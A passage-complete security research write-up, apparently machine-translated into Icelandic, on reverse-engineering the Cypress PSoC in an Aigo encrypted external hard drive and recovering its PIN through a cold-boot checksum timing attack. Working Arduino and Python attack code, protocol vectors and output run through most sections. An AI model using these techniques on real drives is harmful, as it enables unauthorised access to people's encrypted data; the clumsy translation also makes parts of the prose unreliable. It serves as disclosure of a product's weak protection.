Snúa og hakka Aigo sjálfdulkóðandi utanaðkomandi HDD drif. Part 2: Að taka sorp frá Cypress PSoC

Þetta er annar og síðasti hluti greinarinnar um að hakka ytri sjálfsdulkóðunardrif. Leyfðu mér að minna þig á að samstarfsmaður færði mér nýlega Patriot (Aigo) SK8671 harðan disk og ég ákvað að snúa honum við og nú er ég að deila því sem kom út úr honum. Áður en þú lest frekar, vertu viss um að lesa fyrri hluta greinar.

4. Við byrjum að taka sorphaug af innri PSoC glampi drifinu
5. ISSP siðareglur
– 5.1. Hvað er ISSP
– 5.2. Afmystifying Vectors
– 5.3. Samskipti við PSoC
– 5.4. Auðkenning á flísaskrám
– 5.5. Öryggisbitar
6. Fyrsta (misheppnuð) árás: ROMX
7. Önnur árás: Kalt stígvélaspor
– 7.1. Framkvæmd
– 7.2. Að lesa niðurstöðuna
– 7.3. Flash tvöfaldur endurgerð
– 7.4. Að finna geymslu heimilisfang PIN-númersins
– 7.5. Að taka haug af blokk nr. 126
– 7.6. Endurheimt PIN-kóða
8. Hvað er næst?
9. Niðurstaða

Snúa og hakka Aigo sjálfdulkóðandi utanaðkomandi HDD drif. Part 2: Að taka sorp frá Cypress PSoC


4. Við byrjum að taka sorphaug af innri PSoC glampi drifinu

Þannig að allt bendir til (eins og við komum að því í [fyrri hluta]()) að PIN-númerið sé geymt í leifturdýpt PSoC. Þess vegna þurfum við að lesa þessar leifturdýpt. Framan af nauðsynlegum verkum:

  • taka stjórn á „samskiptum“ við örstýringuna;
  • finna leið til að athuga hvort þessi „samskipti“ séu varin fyrir lestri utan frá;
  • finna leið til að komast framhjá verndinni.

Það eru tveir staðir þar sem skynsamlegt er að leita að gildu PIN-númeri:

  • innra flassminni;
  • SRAM, þar sem hægt er að geyma PIN-númerið til að bera það saman við PIN-númerið sem notandinn sló inn.

Þegar ég horfi fram á veginn tek ég eftir því að mér tókst samt að losa mig við innra PSoC glampi drifið - framhjá öryggiskerfi þess með því að nota vélbúnaðarárás sem kallast „kaldræsting“ - eftir að hafa snúið við óskráðum getu ISSP samskiptareglunnar. Þetta gerði mér kleift að henda raunverulegum PIN kóða beint.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Lokaforritskóði:

5. ISSP siðareglur

5.1. Hvað er ISSP

„Samskipti“ við örstýringu geta þýtt mismunandi hluti: frá „seljandi til söluaðila“ til samskipta með því að nota raðsamskiptareglur (til dæmis ICSP fyrir PIC Microchip).

Cypress hefur sína eigin siðareglur fyrir þetta, sem kallast ISSP (in-system serial programming protocol), sem er að hluta til lýst í Tæknilegar upplýsingar. Einkaleyfi US7185162 gefur líka nokkrar upplýsingar. Það er líka til OpenSource jafngildi sem heitir HSSP (við munum nota það aðeins síðar). ISSP virkar sem hér segir:

  • endurræstu PSoC;
  • gefa út töfranúmerið á raðgagnapinna þessa PSoC; til að fara í ytri forritunarham;
  • senda skipanir, sem eru langir bitastrengir sem kallast "vektorar".

ISSP skjölin skilgreina þessa vektora fyrir aðeins örfáar skipanir:

  • Frumstilla-1
  • Frumstilla-2
  • Frumstilla-3 (3V og 5V valkostir)
  • ID-UPPSETNING
  • LESA-Auðkenni-ORÐ
  • SET-BLOCK-NUM: 10011111010dddddddd111, þar sem ddddddd=blokk #
  • MÖLUÚTTAKA
  • PROGRAM-BLOK
  • SANNAÐU-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, þar sem DDDDDDDD = gögn út, aaaaaa = heimilisfang (6 bitar)
  • WRITE-BYTE: 10010aaaaaaddddddd111, þar sem dddddddd = gögn inn, aaaaaa = heimilisfang (6 bitar)
  • öRUGG
  • ATHUGIÐSUMMA-UPPSETNING
  • LESA ÁHÖFUN: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, þar sem DDDDDDDDDDDDDDDDDD = gögn út: athugunarsumma tækis
  • Eyða blokk

Til dæmis, vektorinn fyrir Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Allir vektorar hafa sömu lengd: 22 bita. HSSP skjölin hafa nokkrar viðbótarupplýsingar um ISSP: "ISSP vektor er ekkert annað en bitaröð sem táknar mengi leiðbeininga."

5.2. Afmystifying Vectors

Við skulum finna út hvað er að gerast hér. Upphaflega gerði ég ráð fyrir að þessir sömu vektorar væru óunnar útgáfur af M8C leiðbeiningum, en eftir að hafa athugað þessa tilgátu komst ég að því að opkóðar aðgerðanna passa ekki saman.

Svo googlaði ég vektorinn hér að ofan og rakst á þetta rannsókn þar sem höfundur, þó hann fari ekki nánar út í það, gefur nokkur gagnleg ráð: „Hver ​​kennsla byrjar á þremur bitum sem samsvara einum af fjórum minnismerkjum (lesa úr vinnsluminni, skrifa í vinnsluminni, lesa skrá, skrifa skrá). Svo eru það 8 vistfangsbitar, fylgt eftir með 8 gagnabitum (lesa eða skrifa) og að lokum þrír stöðvunarbitar.“

Síðan gat ég tínt til mjög gagnlegar upplýsingar úr Supervisory ROM (SROM) hlutanum. tæknihandbók. SROM er harðkóða ROM í PSoC sem býður upp á gagnsemisaðgerðir (á svipaðan hátt og Syscall) fyrir forritskóða sem keyrir í notendarými:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TaflaLestur
  • 07h: Checksum
  • 08h: Kalíbrað0
  • 09h: Kalíbrað1

Með því að bera saman vektornöfn við SROM aðgerðir getum við kortlagt hinar ýmsu aðgerðir sem þessar samskiptareglur styðja við væntanlegar SROM færibreytur. Þökk sé þessu getum við afkóða fyrstu þrjá bitana af ISSP vigurum:

  • 100 => “wrem”
  • 101 => „rdmem“
  • 110 => „wrreg“
  • 111 => „rdreg“

Hins vegar er fullkominn skilningur á ferlum á flís aðeins hægt að fá með beinum samskiptum við PSoC.

5.3. Samskipti við PSoC

Þar sem Dirk Petrautsky hefur þegar fluttur HSSP kóða Cypress á Arduino, ég notaði Arduino Uno til að tengjast ISSP tenginu á lyklaborðinu.

Vinsamlegast athugaðu að í rannsókninni minni breytti ég kóða Dirks töluvert. Þú getur fundið breytinguna mína á GitHub: hér og samsvarandi Python handrit til að hafa samskipti við Arduino, í geymslunni minni cypress_psoc_tools.

Svo, með því að nota Arduino, notaði ég fyrst aðeins „opinberu“ vektorana fyrir „samskipti“. Ég reyndi að lesa innra ROM með því að nota VERIFY skipunina. Eins og við var að búast gat ég ekki gert þetta. Sennilega vegna þess að lesvarnarbitar eru virkjaðir inni í flash-drifinu.

Síðan bjó ég til nokkra af mínum eigin einföldu vektorum til að skrifa og lesa minni/skrár. Vinsamlegast athugaðu að við getum lesið allt SROM þó að flash-drifið sé varið!

5.4. Auðkenning á flísaskrám

Eftir að hafa skoðað „í sundur“ vektorana uppgötvaði ég að tækið notar óskráðar skrár (0xF8-0xFA) til að tilgreina M8C opkóða, sem eru keyrðir beint, framhjá verndinni. Þetta gerði mér kleift að keyra ýmsa opkóða eins og "ADD", "MOV A, X", "PUSH" eða "JMP". Þökk sé þeim (með því að skoða aukaverkanirnar sem þeir hafa á skrám) gat ég komist að því hver af óskráðu skránum voru í raun venjulegar skrár (A, X, SP og PC).

Fyrir vikið lítur „í sundur“ kóðinn sem myndaður er af HSSP_disas.rb tólinu svona út (ég bætti við athugasemdum til glöggvunar):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Öryggisbitar

Á þessu stigi get ég nú þegar átt samskipti við PSoC, en ég hef enn ekki áreiðanlegar upplýsingar um öryggisbita flash-drifsins. Það kom mér mjög á óvart að Cypress veitir notanda tækisins engin úrræði til að athuga hvort vörnin sé virkjuð. Ég kafaði dýpra í Google til að skilja loksins að HSSP kóðann sem Cypress útvegaði var uppfærður eftir að Dirk gaf út breytinguna sína. Og svo! Þessi nýi vektor hefur birst:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Með því að nota þennan vektor (sjá read_security_data í psoc.py) fáum við alla öryggisbita í SRAM á 0x80, þar sem tveir bitar eru í hverri varinn blokk.

Niðurstaðan er niðurdrepandi: allt er varið í „slökkva á ytri lestri og ritun“ ham. Þess vegna getum við ekki aðeins lesið neitt af flash-drifi, heldur getum við ekki skrifað neitt heldur (til dæmis til að setja upp ROM dumper þar). Og eina leiðin til að slökkva á vörninni er að eyða öllu flísinni alveg. 🙁

6. Fyrsta (misheppnuð) árás: ROMX

Hins vegar getum við prófað eftirfarandi bragð: þar sem við höfum getu til að keyra handahófskennda opkóða, hvers vegna ekki að keyra ROMX, sem er notað til að lesa flash-minni? Þessi nálgun hefur góða möguleika á árangri. Vegna þess að ReadBlock aðgerðin sem les gögn úr SROM (sem er notuð af vektorum) athugar hvort það sé kallað frá ISSP. Hins vegar gæti hugsanlega verið að ROMX opcode hafi ekki slíka ávísun. Svo hér er Python kóðann (eftir að hafa bætt nokkrum hjálparflokkum við Arduino kóðann):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Því miður virkar þessi kóði ekki. 🙁 Eða réttara sagt það virkar, en við fáum okkar eigin opkóða við úttakið (0x28 0x30 0x40)! Ég held að samsvarandi virkni tækisins sé ekki þáttur í lestrarvörn. Þetta er meira eins og verkfræðibragð: þegar ytri opkóða er keyrt er ROM-rútunni vísað á tímabundið biðminni.

7. Önnur árás: Kalt stígvélaspor

Þar sem ROMX bragðið virkaði ekki fór ég að hugsa um annað afbrigði af þessu bragði - lýst í ritinu „Varpa of miklu ljósi á fastbúnaðarvörn örstýringar“.

7.1. Framkvæmd

ISSP skjölin veita eftirfarandi vektor fyrir CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Þetta kallar í raun SROM virkni 0x07, eins og fram kemur í skjölunum (skáletrað mín):

Þessi aðgerð eftirlitssumman staðfesting. Það reiknar út 16 bita athugunarsummu af fjölda notendatilgreindra blokka í einum flassbanka, frá núlli. BLOCKID færibreytan er notuð til að senda fjölda blokka sem verða notaðir við útreikning eftirlitssummans. Gildi "1" mun aðeins reikna tékksummu fyrir blokk núll; þar sem „0“ mun valda því að heildarathugunarsumman allra 256 blokka flassbankans verður reiknuð út. 16 bita athugunarsumman er skilað með KEY1 og KEY2. KEY1 færibreytan geymir 8 bita af lágu röðinni af eftirlitssummanum og KEY2 færibreytan geymir 8 bita í háum röð. Fyrir tæki með nokkra flassbanka er tékksummuaðgerðin kölluð fyrir hvern fyrir sig. Bankanúmerið sem það mun vinna með er stillt af FLS_PR1 skránni (með því að stilla bitinn í henni sem samsvarar markflassbankanum).

Athugaðu að þetta er einföld athugunarsumma: bætunum er einfaldlega bætt við hvert á eftir öðru; engar flottar CRC einkenni. Þar að auki, þar sem ég vissi að M8C kjarninn er með mjög lítið safn af skrám, gerði ég ráð fyrir að við útreikning á eftirlitssummanum yrðu milligildi skráð í sömu breytum sem munu að lokum fara í úttakið: KEY1 (0xF8) / KEY2 ( 0xF9).

Svo í orði lítur árásin mín svona út:

  1. Við tengjumst í gegnum ISSP.
  2. Við byrjum eftirlitssummuútreikninginn með því að nota CHECKSUM-SETUP vektorinn.
  3. Við endurræsum örgjörvann eftir tiltekinn tíma T.
  4. Við lesum vinnsluminni til að fá núverandi eftirlitsummu C.
  5. Endurtaktu skref 3 og 4, aukið T aðeins í hvert skipti.
  6. Við endurheimtum gögn af flash-drifi með því að draga fyrri eftirlitsummu C frá núverandi.

Hins vegar er vandamál: Initialize-1 vektorinn sem við verðum að senda eftir endurræsingu skrifar yfir KEY1 og KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Þessi kóði skrifar yfir dýrmætu athugunarsumman okkar með því að hringja í Calibrate1 (SROM aðgerð 9)... Kannski getum við bara sent töfranúmerið (frá upphafi kóðans hér að ofan) til að fara í forritunarham og lesa svo SRAM? Og já, það virkar! Arduino kóðinn sem útfærir þessa árás er frekar einfaldur:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Lestu checkum_delay.
  2. Keyrðu útreikning á athugunarsummu (send_checksum_v).
  3. Bíddu í tiltekinn tíma; með hliðsjón af eftirfarandi gildrum:
    • Ég eyddi miklum tíma þangað til ég komst að því hvað það kemur í ljós seinkunMíkrósekúndna virkar aðeins rétt með töfum sem eru ekki meiri en 16383 μs;
    • og drap svo aftur sama tíma þar til ég uppgötvaði að delayMicroseconds, ef 0 er send í það sem inntak, virkar algjörlega vitlaust!
  4. Endurræstu PSoC í forritunarham (við sendum bara töfranúmerið, án þess að senda frumstillingarvektora).

Lokakóði í Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Í hnotskurn, hvað þessi kóði gerir:

  1. Endurræsir PSoC (og sendir því töfranúmer).
  2. Sendir fulla frumstillingavektor.
  3. Kallar Arduino fallið Cmnd_STK_START_CSUM (0x85), þar sem seinkunin í míkrósekúndum er send sem færibreyta.
  4. Les eftirlitssumman (0xF8 og 0xF9) og óskráða skrána 0xF1.

Þessi kóði er keyrður 10 sinnum á 1 míkrósekúndu. 0xF1 er innifalið hér vegna þess að það var eina skráin sem breyttist þegar eftirlitssumman var reiknuð út. Kannski er það einhvers konar tímabundin breyta sem notuð er af reikningsrökfræðieiningunni. Athugaðu ljóta hakkið sem ég nota til að endurstilla Arduino með picocom þegar Arduino hættir að sýna lífsmerki (ekki hugmynd af hverju).

7.2. Að lesa niðurstöðuna

Niðurstaða Python handritsins lítur svona út (einfölduð fyrir læsileika):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Sem sagt, við höfum vandamál: þar sem við erum að vinna með raunverulegri eftirlitsummu, breytir núllbæti ekki lesgildinu. Hins vegar, þar sem allt útreikningsferlið (8192 bæti) tekur 0,1478 sekúndur (með smávægilegum breytingum í hvert skipti sem það er keyrt), sem jafngildir um það bil 18,04 μs á bæti, getum við notað þennan tíma til að athuga eftirlitssumman á viðeigandi tímum. Fyrir fyrstu keyrslur er allt frekar auðvelt að lesa, þar sem lengd reikniferlisins er alltaf nánast sú sama. Endalokin á þessu sorphaugi eru þó minna nákvæm vegna þess að „minniháttar tímafrávik“ á hverri keyrslu verða veruleg:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Það eru 10 töp fyrir hverja míkrósekúndu seinkun. Heildar notkunartími fyrir að losa öll 8192 bæti af flash-drifi er um 48 klukkustundir.

7.3. Flash tvöfaldur endurgerð

Ég hef ekki enn lokið við að skrifa kóðann sem mun algjörlega endurbyggja forritskóðann á flash-drifinu, að teknu tilliti til allra tímafrávika. Hins vegar hef ég þegar endurheimt upphaf þessa kóða. Til að vera viss um að ég gerði það rétt tók ég það í sundur með m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Lítur alveg trúverðugt út!

7.4. Að finna geymslu heimilisfang PIN-númersins

Nú þegar við getum lesið eftirlitssumman á þeim tímum sem við þurfum, getum við auðveldlega athugað hvernig og hvar hún breytist þegar við:

  • sláðu inn rangt PIN-númer;
  • breyta PIN-númerinu.

Í fyrsta lagi, til að finna áætlaða geymslu heimilisfang, tók ég tékkaupphæð í 10 ms þrepum eftir endurræsingu. Svo sló ég inn rangt PIN-númer og gerði það sama.

Útkoman var ekki sérlega ánægjuleg þar sem breytingarnar urðu margar. En á endanum gat ég komist að því að eftirlitssumman breyttist einhvers staðar á milli 120000 µs og 140000 µs seinkun. En „pinkóðinn“ sem ég sýndi þarna var algjörlega rangur - vegna grips í delayMicroseconds málsmeðferðinni, sem gerir undarlega hluti þegar 0 er sent til hans.

Síðan, eftir að hafa eytt næstum 3 klukkustundum, mundi ég eftir því að SROM kerfiskallið CheckSum fær rök sem inntak sem tilgreinir fjölda blokka fyrir checksum! Það. við getum auðveldlega staðfært vistfang PIN-númersins og teljara „rangra tilrauna“ með nákvæmni upp á 64 bæta blokk.

Fyrstu hlaupin mín gáfu eftirfarandi niðurstöðu:

Snúa og hakka Aigo sjálfdulkóðandi utanaðkomandi HDD drif. Part 2: Að taka sorp frá Cypress PSoC

Síðan breytti ég PIN-númerinu úr „123456“ í „1234567“ og fékk:

Snúa og hakka Aigo sjálfdulkóðandi utanaðkomandi HDD drif. Part 2: Að taka sorp frá Cypress PSoC

Þannig virðist PIN-númerið og teljarinn rangra tilrauna vera geymdur í reit nr. 126.

7.5. Að taka haug af blokk nr. 126

Blokk #126 ætti að vera staðsett einhvers staðar í kringum 125x64x18 = 144000μs, frá upphafi tékksummuútreiknings, í fullri sorphaugnum mínum, og það lítur alveg trúverðugt út. Síðan, eftir að hafa handvirkt sigtað út fjölmörg ógild sorp (vegna uppsöfnunar „minniháttar tímafrávika“), endaði ég á því að fá þessi bæti (með leynd sem er 145527 μs):

Snúa og hakka Aigo sjálfdulkóðandi utanaðkomandi HDD drif. Part 2: Að taka sorp frá Cypress PSoC

Það er alveg augljóst að PIN-númerið er geymt á ódulkóðuðu formi! Þessi gildi eru auðvitað ekki skrifuð í ASCII kóða, en eins og það kemur í ljós endurspegla þau álestur sem teknar eru af rafrýmd lyklaborðinu.

Að lokum keyrði ég fleiri próf til að finna hvar slæmu tilraunateljarinn var geymdur. Hér er niðurstaðan:

Snúa og hakka Aigo sjálfdulkóðandi utanaðkomandi HDD drif. Part 2: Að taka sorp frá Cypress PSoC

0xFF - þýðir "15 tilraunir" og það minnkar við hverja misheppnaða tilraun.

7.6. Endurheimt PIN-kóða

Hér er ljóti kóðinn minn sem setur ofangreint saman:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Hér er niðurstaða framkvæmdar þess:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Húrra! Virkar!

Vinsamlegast athugaðu að leynd gildin sem ég notaði eru líklega viðeigandi fyrir einn ákveðinn PSoC - þann sem ég notaði.

8. Hvað er næst?

Svo, við skulum draga saman á PSoC hliðinni, í samhengi við Aigo drifið okkar:

  • við getum lesið SRAM jafnvel þótt það sé lesvarið;
  • Við getum framhjá strjúkavörninni með því að nota köldu ræsiárás og lesa beint PIN-númerið.

Hins vegar hefur árásin okkar nokkra galla vegna samstillingarvandamála. Það mætti ​​bæta það sem hér segir:

  • skrifaðu tól til að afkóða úttaksgögnin sem eru fengin vegna „köldu ræsingar“ árásar á réttan hátt;
  • notaðu FPGA græju til að búa til nákvæmari tímatafir (eða notaðu Arduino vélbúnaðartímamæli);
  • reyndu aðra árás: sláðu inn vísvitandi rangan PIN-kóða, endurræstu og slepptu vinnsluminni, í von um að réttur PIN-kóði verði vistaður í vinnsluminni til samanburðar. Hins vegar er þetta ekki svo auðvelt að gera á Arduino, þar sem Arduino merkjastigið er 5 volt, á meðan borðið sem við erum að skoða virkar með 3,3 volta merkjum.

Eitt áhugavert sem hægt væri að prófa er að leika sér með spennustigið til að komast framhjá lesvörninni. Ef þessi nálgun virkaði gætum við fengið algerlega nákvæm gögn frá flash-drifinu - í stað þess að treysta á að lesa eftirlitsummu með ónákvæmum tímatöfum.

Þar sem SROM les líklega verndarbitana í gegnum ReadBlock kerfiskallið gætum við gert það sama og lýst á bloggi Dmitry Nedospasovs - endurútfærsla á árás Chris Gerlinskis, tilkynnt á ráðstefnunni "REcon Brussel 2017".

Annað skemmtilegt sem hægt væri að gera er að slípa hulstrið af flísinni: taka SRAM dump, bera kennsl á óskráð kerfissímtöl og veikleika.

9. Niðurstaða

Þannig að vernd þessa drifs skilur eftir sig mikið að óska ​​eftir því að það notar venjulegan (ekki „hertan“) örstýringu til að geyma PIN-númerið... Auk þess hef ég ekki skoðað (enn) hvernig gengur með gögn dulkóðun á þessu tæki!

Hverju getur þú mælt með fyrir Aigo? Eftir að hafa greint nokkrar gerðir af dulkóðuðum HDD drifum, gerði ég árið 2015 kynningu á SyScan, þar sem hann skoðaði öryggisvandamál nokkurra ytri HDD-drifa og gerði tillögur um hvað mætti ​​bæta í þeim. 🙂

Ég eyddi tveimur helgum og nokkrum kvöldum í þessa rannsókn. Alls um 40 klst. Talandi frá upphafi (þegar ég opnaði diskinn) til enda (PIN-kóða dump). Sömu 40 klukkustundirnar eru með þeim tíma sem ég eyddi í að skrifa þessa grein. Þetta var mjög spennandi ferð.

Heimild: www.habr.com

Bæta við athugasemd